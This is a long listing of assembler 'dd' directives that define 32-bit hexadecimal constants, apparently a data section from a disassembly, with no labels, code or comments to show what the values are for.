dd 469A2F5Eh, 9017EF69h, 0F321E725h, 2DFAE686h, 499FEE8Ch
dd 0AC2CB15Ch, 0A120F7B7h, 11D91856h, 71D21595h, 0EC7E3117h
dd 527A60D9h, 0D97D2711h, 0B5DC0CE8h, 0D2F3D4A9h, 0AEB278Dh
dd 74AB2047h, 69209F4Ch, 0BFF8596Ah, 8BC790Fh, 0C2EF4D5Bh
dd 0CC095D2Ch, 0C74D1ECAh, 3200E51Ah, 8B4DD82Ch, 0B1A2DE3h
dd 0E1AD2ADCh, 0D2C71A54h, 23E83DE2h, 3F96CF1Eh, 0AA349A10h
dd 8F05EC2Ah, 0C109DCA5h, 3B3DF6FAh, 3437642Bh, 1B267D67h
dd 0F8B6C198h, 0C93C3207h, 59FA2429h, 58BE8F94h, 0A62142EAh
dd 5B59B17h, 63EEB1A2h, 57EEC676h, 0F9C8965Ch, 1A6B1DD6h
dd 6496470Bh, 0ECB481B6h, 0F14233A2h, 822C314Ch, 0A366EE5Ah
dd 718308A5h, 381C70F6h, 0C75C6D1Ch, 0C2A6043Ch, 414F230Ch
dd 0D21E9474h, 4255E347h, 2A7270BAh, 9E012260h, 0FCC78E13h
dd 0BE9B8568h, 46B6AB68h, 322DEE2Ah, 0D0948F87h, 99C24E48h
dd 8B8CD8B8h, 0E4C4B134h, 0D6EC7A52h, 0AD26EE1Ah, 223B09FFh
dd 0BFF25DE5h, 33ED20FCh, 5DB424C9h, 6214DE3Fh, 6AD72A1Bh
dd 16614BD2h, 997D6283h, 0BEC8B8E0h, 7663E3A6h, 1EF8A885h
dd 212B8B3Bh, 95D22D0Eh, 0A25BD3F6h, 0C4BD9EA3h, 0D86B0A22h
dd 118230E0h, 15E46C70h, 277F20A7h, 8C28A0D4h, 0DC07A939h
dd 0C972614h, 5EA780D6h, 59F5910Eh, 80962299h, 7EDA554Ch
dd 0C39B0F1Fh, 0FA0D4DC4h, 560ED061h, 0ACD91CD7h, 644D0898h
dd 31471357h, 296CD6AFh, 0C022A8DAh, 0F9D5E091h, 0FD601AFFh
dd 0F3904BCBh, 894DDC38h, 7A4657C1h, 0B52AFFB6h, 5C5F170Bh
dd 0F5329F42h, 5BE35D30h, 0D5A4B1BCh, 0A55E8715h, 0DA0D831Fh
dd 0BC2B60F3h, 83AEED7Dh, 0C8AA7A67h, 0A3199ED6h, 1FB4DDBh
dd 0A627889Ah, 0A9CE1BC1h, 0F19F9410h, 36135735h, 3921D0B8h
dd 1B2C59EEh, 0DBAED028h, 91596D63h, 0D8C7515Fh, 5109F59Ch
dd 0BB3A6B09h, 3117DD59h, 65981593h, 3E697075h, 0C50BAB05h
dd 104D4C8Ch, 0AB82510Dh, 28373407h, 7EC927E8h, 0E919BD33h
dd 1162F1A6h, 3E242300h, 29FE91FEh, 2CF667BEh, 0C580CFFh
dd 0CA4C74A0h, 2C39A282h, 0A2E15121h, 667C67E2h, 0D11A33Ch
dd 0D0DF6767h, 0D660D1EEh, 0C4CF85B2h, 0F919B9B4h, 0D3FABD54h
dd 0D555C04Dh, 8220282Bh, 3766D015h, 0A515821Ah, 0DCC98F4Ah
dd 2928DCDh, 70334D73h, 48F2FB37h, 0B042F601h, 2753988Ch
dd 8C002C6Bh, 0EE42CB4Ch, 0A8F7BF4Dh, 8F9C476Bh, 0CA0E0B88h
dd 2131880Eh, 0A18D39E1h, 0D17C81E6h, 0E8D471E7h, 586A51DEh
dd 9DB12FEEh, 1BC1E5ACh, 0E5D93DFDh, 5416DFABh, 0BE449497h
dd 0E0F005ABh, 0FF0F7994h, 0E09F1404h, 7FCC78E4h, 0B73B0A06h
dd 5CC78EA1h, 0A371BCE8h, 72944B1Fh, 682AB506h, 8CE0ABFCh
dd 430C4885h, 2423FAF9h
dd 7B35AA20h, 18384F77h, 0E043AEE4h, 21EAF37Fh, 0CD338691h
dd 0E98C3AD7h, 419E42A0h, 0F0B82B3Dh, 122E946Ah, 89C9011Fh
dd 0CCED80D1h, 0B8B01116h, 5F315869h, 8768EE6Dh, 65CE2B89h
dd 0BFA44E66h, 0EBEBD5B3h, 0E097375h, 0DD462959h, 3D721048h
dd 0FE913C79h, 39B51ACFh, 0A0B45A31h, 0C4EE3A69h, 61999CD4h
dd 7D93C2EAh, 44D007FBh, 806880BCh, 6D409996h, 0E82AEFF7h
dd 6DE21F18h, 97D2FDA7h, 54327D95h, 5DA774AAh, 85B279F6h
dd 0D1F6E4Eh, 0F28483F4h, 5A4EE446h, 64D95D9Fh, 8697FD28h
dd 859EF41Ch, 0CC109F06h, 6B6DF8CCh, 3DA3C53Eh, 818A64AEh
dd 0D3591753h, 0E85352D6h, 66FC9A6Dh, 91B6545Dh, 0F074FC51h
dd 0E2D39188h, 7FFCF664h, 0BAA1BD8Fh, 2E8C88FBh, 0CFD143D1h
dd 0CD811A42h, 1E2E90DAh, 5B6AEDC9h, 0A0414EF0h, 4E33C69Bh
dd 85D0775Fh, 0D1EE9173h, 62A13CC0h, 0A5055DF2h, 0EFBDA3DDh
dd 37167B55h, 0E0F388F3h, 0D99ADFFh, 0EA51B6F2h, 122586ADh
dd 0C20C43F8h, 0D1751BD2h, 7646B09Ah, 957EB8B5h, 10FC4608h
dd 7F23800Eh, 2710E32Bh, 57E5CB55h, 66F6782h, 493CC323h
dd 4CD3B92h, 1D042164h, 504E8921h, 5AB9C30Dh, 0DE3975B4h
dd 0D0B21C18h, 1B50B0D1h, 0E8D7CB35h, 72502D9Fh, 0D601B57Eh
dd 0AB19CEE2h, 32BD1EB4h, 20714CDAh, 0A3CDA788h, 4BB5BCBBh
dd 0EEE610EFh, 9F9D6C52h, 4FEB96DAh, 0BE93D905h, 0E19D1D5h
dd 3ECB2BD2h, 0ED873AA5h, 58552273h, 754B4CECh, 0BAF1B226h
dd 6F1EA6DAh, 89599905h, 3F41649h, 243D8A76h, 0D4175C17h
dd 0CFF02DFDh, 35D5C389h, 0A140923Dh, 74B3F4E2h, 576F4848h
dd 7F3BAFDBh, 163EFB5h, 8270C95Fh, 0B79494C3h, 29DB4A7Ch
dd 0D6E645EEh, 0C327713Bh, 8A36D246h, 99BBA380h, 8611EF9Ah
dd 1561FE56h, 3628558Ah, 0E76EE775h, 0D5D69534h, 4BB56F67h
dd 9DB3EFECh, 0DFB53D12h, 1A4A43Fh, 3905920h, 3D306BFCh
dd 0EF84DE61h, 125AC33Bh, 0A48D1C4Ah, 0F8DD0E3Fh, 3A8E928Bh
dd 472C4419h, 7D155CCFh, 0A0B2D763h, 69DD01CEh, 6A582A20h
dd 0B9512B33h, 292B0B74h, 0A134C833h, 0E313D60Fh, 2C34E38Fh
dd 6164668Eh, 40EECBAFh, 3288A586h, 9CDC03B9h, 8059E982h
dd 0E0A5D387h, 2811AD28h, 3C05E2F9h, 0DC158A0Fh, 718955A4h
dd 9C45E0Dh, 7753109Fh, 0AFC0FBD6h, 98A17180h, 0BC97591Eh
dd 8508989Ah, 5C3E5D80h, 0A2CE6D08h, 0DFE67C7Ah, 4282C680h
dd 96BCE0BEh, 0D2E39938h, 6EFF3654h, 0E3E2554Fh, 992E9AD8h
dd 0C55F77D4h, 985BD683h, 0C19C4890h, 715D909Ch, 0D359AD88h
dd 0C9E15312h, 0DC9E57B5h, 3F7B374h, 6C6DD44Ah, 0CC2DA988h
dd 0BAF60B54h, 0FCD4B5C3h, 3492296Ch, 0E190BD63h, 282BE8E3h
dd 83D91FA1h, 3551411Fh, 3243AF60h, 17659E09h, 644A082Fh
dd 0BD36FB4Dh, 8BF3CF46h, 0F1D99399h, 6A525562h, 4FE2288Dh
dd 717042E5h, 2C2C86A5h, 0F733D45Ch, 898D295h, 394D680Ah
dd 8D188A5h, 6E9D3DBh, 3224C45Ah, 0E20C722Ah, 9B8E158Eh
dd 0EB138212h, 8355B9Eh, 0A5F26248h, 694A8D69h, 614E7216h
dd 99153B4Dh, 2BA25D75h, 93F6289Ah, 0A75B7A00h, 0E186A1EDh
dd 0AF591159h, 31D7F650h, 2F6360E5h, 0B3E7D906h, 14A8EC82h
dd 9FAB30Dh, 5844BDA1h, 0AD641C45h, 0EB3FE67h, 0DD84526Eh
dd 44177CE8h, 0A7B5DD07h, 0A2C502DAh, 50FB980Bh, 5B3BC0A1h
dd 0DC05DAEDh, 0EF9409F8h, 0BA9B335h, 0C3CBF41Bh, 2610F1EBh
dd 912558DBh, 545DE73Dh, 2ECE1E4Fh, 0F727456Ch, 86609ADEh
dd 3F2A5C22h, 0E22D4E2Dh, 24D1287Eh, 0AAF4243Eh, 0B85964B6h
dd 6BDD79A6h, 5F3B628Ah, 0BDADEE82h, 28436DBCh, 0A6FBDC00h
dd 0CBB18EF9h, 40968813h, 50C6509Fh, 0BC4D0A25h, 2C2ADB8h
dd 517DDD8h, 5108286Eh, 1AD81A21h, 8A60A223h, 8008D2A5h
dd 0F48C9AB1h, 472982DFh, 41FEE1FCh, 1454DC20h, 0F5E7D218h
dd 808C503Bh, 52E098CEh, 0DD365666h, 911CF7Dh, 9AE95DD1h
dd 0B8FE67F9h, 3E7B5A97h, 0CEBD9812h, 4C55CBCAh, 67781B52h
dd 37FC0C68h, 78376C73h, 0C70F5B86h, 3DCCACC9h, 4561C410h
dd 14353D4Fh, 2F25E6DAh, 528A2C6Ch, 6DB25AECh, 0BADBC9DFh
dd 98945C6Eh, 12CA0D0Ch, 1A21D903h, 0E41A5E0Fh, 0D9D2A179h
dd 2DF763C3h, 5DBED5F1h, 65D5C30Fh, 0F85B0E81h, 0D20469D6h
dd 328CA0Ch, 8DDB640Eh, 0A41578CCh, 0C29753A9h, 691E4DF1h
dd 5A0AA5EBh, 0A03ED1ABh, 0EF219E90h, 63983516h, 8644A9B8h
dd 0B6376810h, 6E25784Ch, 1C703B2Dh, 1C66622Fh, 0B3408C4h
dd 7027149Ah, 780724D1h, 0D57502A3h, 43922318h, 0FA21561Ah
dd 0E2DDB8E0h, 0C964297Ah, 2395FD58h, 821F35FFh, 99EEA3A4h
dd 901AA4FDh, 156EAA95h, 397B6E39h, 95B924B1h, 176B8D8Dh
dd 8D4D77AEh, 0C078C712h, 0BA7A1E0Ah, 3B72F626h, 0A8A7F96Fh
dd 0B476DD2Bh, 0B52C5DE2h, 0AB5EC723h, 0A98E9178h, 3C9ABF73h
dd 260D8EDEh, 0DBB43BACh, 6083C87h, 0A18C60F7h, 0BC4070DCh
dd 99C2ACECh, 5941DA9Dh, 0D32B4Ah, 0D19EC50Bh, 53ED0F2Bh
dd 107C3218h, 66B97F2Fh, 50E9B04h, 5C1ADCF9h, 69E5D1F5h
dd 0E70B86C7h, 3142C237h, 8C922860h, 4351177Eh, 8835E21Bh
dd 0F2504FE0h, 9EC9744h, 33DC6EB5h, 0A13BBBEEh, 0E1272D48h
dd 4624E2B4h, 0C692B9C2h, 0A114219Bh, 33377F5h, 10575746h
dd 45C922E3h, 43DBCCA0h, 6B9FC25h, 40609FC9h, 3B4F05ECh
dd 2C8FE035h, 82998644h, 820CA577h, 23008F8Ah, 656E8FD9h
dd 0C64FFA2Bh, 0CD824E36h, 158DF0CCh, 9F2B399Dh, 0A83F06FAh
dd 0E018E7AAh, 41C52E5h, 0E535F021h, 0AFC5C16Ch, 8BC4A6DCh
dd 13F1E6B0h, 0A62634E8h, 8CD2CC3Ch, 47B12CA2h, 0A0C18C69h
dd 9D091BDBh, 839662AEh, 6F4A3020h, 978E8BE2h, 5302726Dh
dd 14A92B30h, 4847B7D2h, 0B3170F22h, 0D855CE48h, 59BD76E2h
dd 4FAE339Eh, 0C6FE656Ah, 0A6CA439h, 6C4D5417h, 3AB6B3DAh
dd 2A23CDAEh, 0B06B3E6Bh, 0DE40B8D5h, 0E199DEB3h, 0E582A258h
dd 23668D45h, 3E41BCD8h, 0F67FED14h, 3709845Dh, 0AD4B7753h
dd 53D5F910h, 21A00F48h, 5935526Ah, 0A742B05Dh, 64B2CB3h
dd 50CA3626h, 8F1298EAh, 325F76F2h, 0D6E9CD21h, 0DF64979Ah
dd 4322AB16h, 0E7E2913Eh, 0E5ED02BDh, 0C7D514CEh, 5897D479h
dd 3229C303h, 0FA754237h, 726D654Dh, 2838A54Ch, 0EA3A6D37h
dd 0E55FAAD5h, 0AFA0AE94h, 0CB020D80h, 7ED468CFh, 6E9F7E5Fh
dd 0F55F94E3h, 0CD1ACE0Fh, 0E8FAB070h, 33BE7534h, 9A4ACEBh
dd 4EFA99F0h, 3BCDB65Fh, 6D7793C1h, 0DC19D598h, 2AAEEC5Eh
dd 879420E4h, 0C71FAD58h, 9363D1ECh, 0A24963A7h, 0F73BD2B1h
dd 13361917h, 0BEC97661h, 258D2F07h, 92AA98CCh, 0EB05EB80h
dd 0D7087AA9h, 3BCFBCD7h, 937A6C83h, 7E619F51h, 2E5A8D8h
dd 9E6B66BAh, 0E7A31F9h, 0FE6438DBh, 0CE3832EBh, 0B3C5EB7Fh
dd 0F250C009h, 52AE8075h, 0EF6C5ED1h, 6CA45176h, 0FD11D0E1h
dd 0BAED0F0Eh, 73DD19BEh, 0F5C62DAh, 7F2054D4h, 0E93387FEh
dd 4923078Eh, 94277253h, 26B0A9ADh, 0B04F9120h, 0B529B8A5h
dd 0E1D8DACDh, 72CC8C7h, 120EFD08h, 97129680h, 19CBE68Fh
dd 2E2CFFEDh, 20B60612h, 861191E8h, 8114D05Ah, 6D63960Eh
dd 2F8D0D12h, 0CDFB5D8Eh, 0CA3EAF93h, 195834D0h, 40211FADh
dd 6BF28185h, 783FA18Ah, 0DA474CDh, 90940ACCh, 0FAE9D0B3h
dd 0FDEEDCA2h, 493FAEE1h
dd 27BF43Ch, 97BEC1C8h, 0B439DD14h, 0DE36D9EDh, 8170BD50h
dd 44A53517h, 0FF50F557h, 0A0ED75DCh, 55BCBD42h, 20369CAh
dd 846B91F7h, 8BBD3159h, 0DFCDF845h, 6D559DDEh, 0B275042Eh
dd 0D71C8ACBh, 189AF5E4h, 8AD5AACBh, 265B7D1h, 67FA3EFAh
dd 49156CF5h, 0BB851D51h, 9F41748Ah, 0E1D0F3C0h, 0AEDBC9D2h
dd 68BC0004h, 33B9984Ch, 0A619B9Fh, 0D4FDA2C2h, 0E733AB31h
dd 0B26F02D4h, 0DE6BA1F9h, 81AF0EA2h, 399029E8h, 0B0B402D7h
dd 0BA74CD66h, 17CC8086h, 2C185AD5h, 87EE1DFh, 78F24510h
dd 0B469B0CEh, 0C5642387h, 0B5F2B58Eh, 35599408h, 2EBED87Bh
dd 3575CDEFh, 89094BDAh, 4F93FC98h, 0A29CA944h, 8A960507h
dd 0EA4E48E6h, 0E4C381A7h, 70791F8Bh, 94D3ECE0h, 5D676A99h
dd 1850AF66h, 0EDA9C3F7h, 0A5996894h, 19911800h, 0B6A0CD68h
dd 248C278Dh, 8D7D4889h, 48ABB0F3h, 2649731Ch, 61A30D53h
dd 2C2F97DAh, 0C2800881h, 51AC5F34h, 89780BACh, 78310ACh
dd 6330FE01h, 5FAD138Eh, 0C31D6A29h, 43ADA0E8h, 0EBF25DCCh
dd 7A25B43Dh, 7C187AAAh, 7160FEC9h, 3CC95365h, 7556EA52h
dd 0A05E9672h, 27710C7Ch, 4C48A841h, 0E2F44A40h, 2E894C2Fh
dd 786C4865h, 529CDFBEh, 1E740B5Ch, 0BEECB1FBh, 8C05218Ch
dd 3820AE6h, 0E266ECFCh, 91578024h, 0CFA409C8h, 957F8EA7h
dd 32101CA8h, 0C22FC74Eh, 0E57BE784h, 0C9F79CB0h, 0BD473FDh
dd 0B50A6143h, 0E21F9D90h, 0D1EED027h, 0AA897ABCh, 0D43DF8FBh
dd 0DF73792Ah, 0F0AC2956h, 75E56B51h, 0DA4C8DA9h, 4E75AA38h
dd 75B85C64h, 23B4E76Eh, 0E7753426h, 0EEC6D89Dh, 0EDFF4D8Ch
dd 3B4B898Ch, 0F31E5E16h, 972D8A1Bh, 0FDC7636Ch, 0D778C706h
dd 19387F18h, 6D548B5Ah, 5EF2D2Dh, 0A9A1DD20h, 8DB9E910h
dd 373E4027h, 7B47C2A2h, 3BD0EE37h, 0CBFC6483h, 0F1C4A56h
dd 0A384692Fh, 752DE7A6h, 0C7A8504Fh, 39291317h, 0ACDC18B3h
dd 76AE0B95h, 0A76851A2h, 0F28E71B9h, 0F609EB65h, 0C229FD15h
dd 0F4CE4CC8h, 74C261C8h, 25734163h, 2EC63E1Bh, 0E1980D0Dh
dd 0A2797FC0h, 3C4BC4CBh, 63E946Ah, 35199B58h, 0BA90DF29h
dd 6C3DDEE7h, 0D86ADBEFh, 0EEF8BFE4h, 1D24B993h, 3B53C4BBh
dd 4E9CB85Ch, 69B3242h, 0BBBFF37h, 0F198D91Dh, 9D6AE358h
dd 447CB88h, 5D3ED5FBh, 0E576B470h, 59E06A47h, 15148D6h
dd 22B71FC7h, 1CF3A845h, 0F03BCA81h, 2E0C371Fh, 4EC1DDC6h
dd 0EA36EE21h, 3A20D128h, 5E76AC4h, 0E929895Dh, 38E794B2h
dd 28D74EFh, 0DCBA53CBh, 68F616E2h, 0EF80DB98h, 0DCDB1241h
dd 0B0E82669h, 8FE218E8h, 85DBEF12h, 826C74ADh, 722699D7h
dd 0BAF5AB39h, 0EE9F28FAh, 0E0EC4C7Ah, 35B209FFh, 6BC9D29Fh
dd 0E2148009h, 6F60E9AEh, 79BE8607h, 0CD950C7h, 93AB7ECEh
dd 0D9C6920Ch, 862B0FC8h, 0F0D94BA3h, 94768978h, 4ED4370h
dd 3DC6B190h, 0FAA64D36h, 0C708DB07h, 0E1416000h, 7F09CBDAh
dd 0BAC30EDBh, 0F8CBE7CCh, 2BE6EB7Fh, 1939DE25h, 29005B23h
dd 2A09BEC1h, 0D3FC59EAh, 31130548h, 7B5B30DAh, 0C9F85AF6h
dd 44E6466Dh, 0B514F6BCh, 0CC175C33h, 0BB9D7796h, 4FCE8EEh
dd 0DC048C3Eh, 0B5F08E3Ah, 0B1D7EEC9h, 1B973F7Bh, 0DF59BB3Eh
dd 5B92558Bh, 1EE3196Eh, 0BCBCDAB9h, 0B8A98FE1h, 0CCC1B505h
dd 78D07808h, 0EF703314h, 51198876h, 57C5D67Dh, 0D033E82Fh
dd 0DD9054D0h, 56FF58B9h, 4BCF1630h, 0B7BF7B50h, 0EC91FDBh
dd 0CF3F597Bh, 474C36FBh, 0E4926FD8h, 5C286A7Fh, 0E3815373h
dd 2153B2FFh, 1DBD382Eh, 230B6DEFh, 42DFA3FAh, 0F4E4D5F4h
dd 730FA2B9h, 21B22FACh, 0A46C5125h, 0CF0BFE9Ah, 3A02DB57h
dd 0E540ECA8h, 9E8022CDh, 0F0AF4A59h, 91F2C82Ah, 0C40E93BFh
dd 0CE0DD062h, 3561F452h, 3D81F093h, 1115610Bh, 189804F8h
dd 55DA9C13h, 0C001E442h, 4EA992DFh, 0ECFC3BDh, 0EBF8B4C6h
dd 0D7A7CEBEh, 0D599B788h, 793151CCh, 0E9B8149Fh, 0FAB3B95Ch
dd 0C2CA4251h, 2F486571h, 0DEF9D0Dh, 0AB5EECECh, 0F3ACDCFEh
dd 0EA9E331Ch, 0DD8A415Eh, 748E816Ah, 0E40301Eh, 0F64BC069h
dd 0EA1C06EFh, 1342C340h, 0E221209Dh, 0A0B1025Ah, 0BD592063h
dd 0CF7A98DAh, 5E0845DDh, 13101EB8h, 805BA27Fh, 0F06BF69Fh
dd 1D5D94A8h, 0E180B028h, 4E191E56h, 50A4A47Bh, 66F98884h
dd 627D7C3Ah, 9DF4D9FCh, 0E602C44h, 0A1190D67h, 1594340Dh
dd 0ED188AB1h, 8445D022h, 949CDB8h, 6036A3A3h, 3FE49568h
dd 30F2301Ch, 92C5970Ch, 79CC647h, 0CB35BA0Dh, 5363AB75h
dd 0ECB4F65Ah, 7CF7FA78h, 0E2006D8Eh, 795C49Ah, 984C7B9Dh
dd 81B64302h, 30781644h, 0E71B940Fh, 0F8FF67AAh, 5C10730Fh
dd 89763E2Ch, 0F454A63Fh, 0AD1D3019h, 9E5FAE40h, 3E40C94Ch
dd 6672B3C4h, 2012580Fh, 62EBF7FFh, 172F6FF8h, 0E7C02F8h
dd 0D5E33DA8h, 0ED32C16Eh, 4C32F97Dh, 9296DF49h, 8A976924h
dd 54EA7CCDh, 0C1892BECh, 0B8B35AF6h, 0DC609Bh, 0BB2C555h
dd 0E2345AD6h, 88AABCB6h, 6CCAE01Dh, 20F739BDh, 6F7F0D93h
dd 37225FCEh, 0A5E73646h, 0DBDA8014h, 260EDE63h, 4AEB77F7h
dd 1A9C6D3Bh, 33A14C70h, 3FF0870h, 85341596h, 6C1662E6h
dd 75E8C738h, 0ECD50533h, 0C21B204Ch, 92B1B113h, 0B9771906h
dd 7B61F410h, 4EA24330h, 0DE6A8980h, 4F6B097Dh, 0AE22CA51h
dd 3CC40827h, 0E0DDFDF9h, 60DB13CFh, 0AC57085Dh, 366EBD6h
dd 0FA3D84BFh, 5A3B8039h, 0BAA307F0h, 0D719AAAFh, 0E8D17C36h
dd 1449981Eh, 6A376E6Fh, 11FF0A4Ch, 0D4072358h, 0CE45DC99h
dd 0C7AB42h, 3312800Dh, 43D81081h, 1A8AC752h, 385B36C3h
dd 0CE1EC111h, 0CEDC3E3h, 236C138Bh, 0AF8311D3h, 0D1DA72AFh
dd 0E0FD8761h, 0AE4C307Fh, 0B95A1879h, 5D58A968h, 0D9E68E30h
dd 0F8EC83A3h, 2E693E91h, 19A78605h, 0F7247CD7h, 9AF3D44Fh
dd 0B426AE07h, 23835A33h, 129BF230h, 36213ECEh, 4376FC70h
dd 247685A7h, 0ECF2974Eh, 1B946F8Dh, 6BC520BDh, 0C1291F28h
dd 0E850D972h, 0FFDE6084h, 0EE86DD7Ch, 0C409EA4Ah, 0E502A2B0h
dd 9449F506h, 6C9FBBB1h, 18D24416h, 0F4F9B7B9h, 1E75F23Dh
dd 20072EF3h, 8680B496h, 813D11Bh, 4B2DF609h, 1D2B4211h
dd 0BA7AACF9h, 0CAEE74F0h, 8DEB86E9h, 0E017A1E2h, 7496A44Ah
dd 0C12C70D4h, 0E316C0C9h, 83E58940h, 0DD27BA24h, 780292BCh
dd 7A7E0C69h, 0B102D32Ah, 0A8582FC8h, 1C4742BDh, 7A93EED6h
dd 0D73A54A2h, 0FEB3979Bh, 47DE2491h, 0CF483FF0h, 657A6D2Eh
dd 0F1E8D531h, 3EEA6943h, 5A56D672h, 2E3A8710h, 0B60A4FB2h
dd 93E1C7A7h, 0B6AEC0F5h, 0E13FC4CEh, 0CB52C226h, 6F8A1DB5h
dd 40223910h, 8325A588h, 8B2655F3h, 5C2E0A7Eh, 773C5076h
dd 8DB34A13h, 0E191277Dh, 0F3B8F28Dh, 6564B2B7h, 0A4EE46AAh
dd 0B46C677Ch, 122DCC89h, 5EF70E73h, 3D04D919h, 0CDCB875Fh
dd 16CA80E8h, 0CA126B22h, 587A587Fh, 9AECB06Dh, 14BAAFDCh
dd 2F5B27F8h, 0A46DDC0Eh, 5A3D4431h, 0C90AC2A0h, 38CAEA5h
dd 8C0A70FEh, 3473BCD9h, 36D6532Bh, 0E2DFC639h, 0A912EEF2h
dd 9C6CB23Fh, 0EF49488Bh, 0B1E629D1h, 41F12202h, 630A32E7h
dd 0D1BFB207h, 52F9AEA3h, 0CE7A67D3h, 0D7CF99D3h, 0FA66B6E2h
dd 2644A335h, 5181384Eh, 0E7D61F1Fh, 0BCDB8A7Ah, 0B5F59B22h
dd 7B12617h, 918E2689h, 0B70D203Eh, 0FE3EA2A2h, 0ACC098B4h
dd 21E11FE7h, 0D5CED220h
dd 6B059C5Bh, 774D0866h, 62175310h, 0F7F0BA13h, 24A513Fh
dd 650E4D3Ch, 2C9D5678h, 0C76133DEh, 0FF39835Bh, 6063489Bh
dd 1A969146h, 0B28678CBh, 3ED5187h, 0E6F10692h, 0D3AB540Dh
dd 0EFFC9083h, 65B4FACCh, 6A103836h, 0EA07ACC2h, 0CD80EB19h
dd 376307BAh, 0D98AEA10h, 2CE47FC8h, 3E3E0722h, 3356E9A1h
dd 0FD7543Dh, 5B232D64h, 2FD542C1h, 479EE5C4h, 0EE63D890h
dd 48238F0Fh, 0FFA01FEDh, 87C58895h, 833CA889h, 0F3979A2Eh
dd 0F8346F2Fh, 74B363F5h, 0D47D082Bh, 89EDCFC0h, 0DAAADDC2h
dd 0DFFC9EDCh, 0D5FE3BC0h, 8DDF9788h, 3C20E8F3h, 0C229D0FDh
dd 97F120D8h, 1E2D02B3h, 527EF2D7h, 0E0D43CADh, 6E4ED500h
dd 0B3AEBB37h, 0F62C1F7Fh, 0CEFE97DCh, 34D9AAF0h, 11E43A0Ah
dd 0ECFCC03Ch, 45F13F05h, 96808036h, 3574FA94h, 1B7D1181h
dd 509BDD98h, 0D100EEB3h, 142E450Eh, 0A4F106C5h, 0A47EDC1Eh
dd 0A8D58D10h, 0B15BBFA8h, 3C4628C2h, 0B8BF0AF7h, 56907690h
dd 0A513C198h, 0ECF7A545h, 58AA6D60h, 0C554DB48h, 5F1B75AFh
dd 551537D7h, 24E74DD9h, 4BD10982h, 0DB78DB56h, 0E63AC302h
dd 0A3CA17F5h, 883C2FE5h, 0BE29306Fh, 2E6FDB3Dh, 3FF75239h
dd 0BDF2936Ah, 519A5414h, 317A8501h, 703F5FDAh, 145A0179h
dd 0F204CA75h, 71E1A823h, 9F380C81h, 0BFBE4841h, 0F4841D44h
dd 0BEDFEFE4h, 3997B6BFh, 8A1B78DFh, 5A5C8B2Ch, 4A9D27E3h
dd 0CFDEBCD3h, 2EF4D1F6h, 84AE4A9Dh, 0D0565699h, 31066790h
dd 547813F0h, 900D0714h, 5E1E4805h, 0BE85684h, 1ADB188Dh
dd 746B7738h, 0B2C9A78Dh, 0B61D82EFh, 0EB15D3B9h, 7563190h
dd 341E4751h, 0A1DF8045h, 173BC300h, 0CD185503h, 214D8FC7h
dd 9CDAB8EAh, 0AC764FC5h, 0F2E84CF1h, 0E47D52Ch, 5B59C6C2h
dd 42EABC09h, 71C2A25Ah, 0DA9B3D3Fh, 88F55F32h, 9F6A9899h
dd 0B99C3AF4h, 6BB9E697h, 3701DF99h, 0D4079C0Bh, 0D95A2600h
dd 87956865h, 9713DBB7h, 0E3B6424Fh, 606C3B67h, 5F2CA43Eh
dd 0EC82F9B0h, 8A35999Ch, 0C5AC36A9h, 23ACB598h, 0A993A7FCh
dd 0A6DD3741h, 0F8791D65h, 283844C1h, 4DE84EAh, 7D2D2E8Ah
dd 0FC315EEFh, 76C8186h, 0CDC47778h, 0FBBE337h, 8BD7904Dh
dd 5AA2810Dh, 0CCF3932Ah, 96F87347h, 1A5A79D1h, 0F1310AD7h
dd 6B802793h, 0DD444F9Dh, 41EB37D7h, 863A283h, 0A6D64C0Eh
dd 683BA133h, 0A2FF7064h, 55F460EBh, 1A34F622h, 2FDE8931h
dd 8656B3F6h, 20C86066h, 34138AE9h, 0F05AEC53h, 0E4495499h
dd 206841E0h, 0AB5D5416h, 0EBBFA6F6h, 0B3B740E7h, 3AEAED75h
dd 0F27A84E8h, 98285990h, 8896B35Eh, 5820A5C1h, 93DD18ACh
dd 616AC1FDh, 155BA738h, 9C3015C8h, 243A518Bh, 46521CE1h
dd 0D3FF82EDh, 5489D715h, 87B71438h, 0F1062616h, 15015B79h
dd 0EB87BBFEh, 0A68DEE44h, 0E3288796h, 1F011348h, 6600A89Dh
dd 6EB39DDAh, 0B86A62Eh, 0E0398769h, 6B77420Dh, 43C2D5A9h
dd 0EC4FA421h, 8E9C270Fh, 1C80303Dh, 2B2EA7EDh, 0E0F19D76h
dd 0AE32347h, 0F02FEF87h, 0F63A5377h, 0AC357202h, 0D85410A2h
dd 0C16F20A2h, 5B348F09h, 0CF2C119Fh, 9F35F375h, 556F9F25h
dd 7ABD327Ch, 6AB7CBBh, 5649FCC6h, 2AA0FE36h, 0F4E2FF17h
dd 668B947Fh, 7D4606B5h, 0B9900252h, 0B168D4CDh, 5305FA03h
dd 5832B73Dh, 74582CF6h, 4DB2C339h, 0EAB7F713h, 4811D9E0h
dd 0E3D6E4CCh, 0A1D5F42Dh, 17CF8501h, 683736Bh, 0FE8D0543h
dd 0ECD67D1Eh, 9BA1ACC0h, 0D053B641h, 4A348BA7h, 2B669331h
dd 158AEB90h, 4738FEDh, 9CB5DF36h, 51D9216h, 0A311E934h
dd 77F8A387h, 0DF80B942h, 29E55DE1h, 16A97414h, 9924F16Ch
dd 60DF08C3h, 3A8CB2FEh, 67731A76h, 0F4B24C8Dh, 0EDB64718h
dd 8478DCE6h, 0E9DE9C44h, 6CBDCFF8h, 0F08C12DCh, 0F55298Dh
dd 0C3826BE3h, 0D60CDB15h, 8D78117Ch, 30E98114h, 0A77B6EC7h
dd 79383392h, 0EF5FDFBEh, 0AE99CB5h, 4EB164C3h, 6330DB60h
dd 316C1955h, 4FEC8E20h, 0BD0CD74h, 6A010255h, 7F8C1706h
dd 0F3377A2h, 48CD93DFh, 0D3010708h, 70B5FB5Eh, 6166CEF5h
dd 0DB9284CCh, 91A33694h, 5BB855E8h, 11FEE6FCh, 0A01FD131h
dd 0EE73A7D1h, 0F737B010h, 3B7D0190h, 0A0C82A5Ch, 6D09BB8Ch
dd 0B8F04A1Fh, 98B9AAEBh, 4AAFFA07h, 7C703FAh, 0B8839F8Fh
dd 8712F706h, 8AF06B0Ch, 20CD5173h, 7D8D5BCEh, 0C1E44FE7h
dd 0CD460578h, 0A4A9806Ah, 2C09F5Fh, 22B21F71h, 1E95BBEAh
dd 39DB74E3h, 4D3F602Bh, 5B6B3F63h, 18160D31h, 0F0412F89h
dd 527BC073h, 2D2B5A06h, 7BBBF16Eh, 0B7385189h, 0CCDEE5D0h
dd 7C04AA9Ah, 4C7326C4h, 23831E2Ch, 0C84C9Bh, 8DEC92DCh
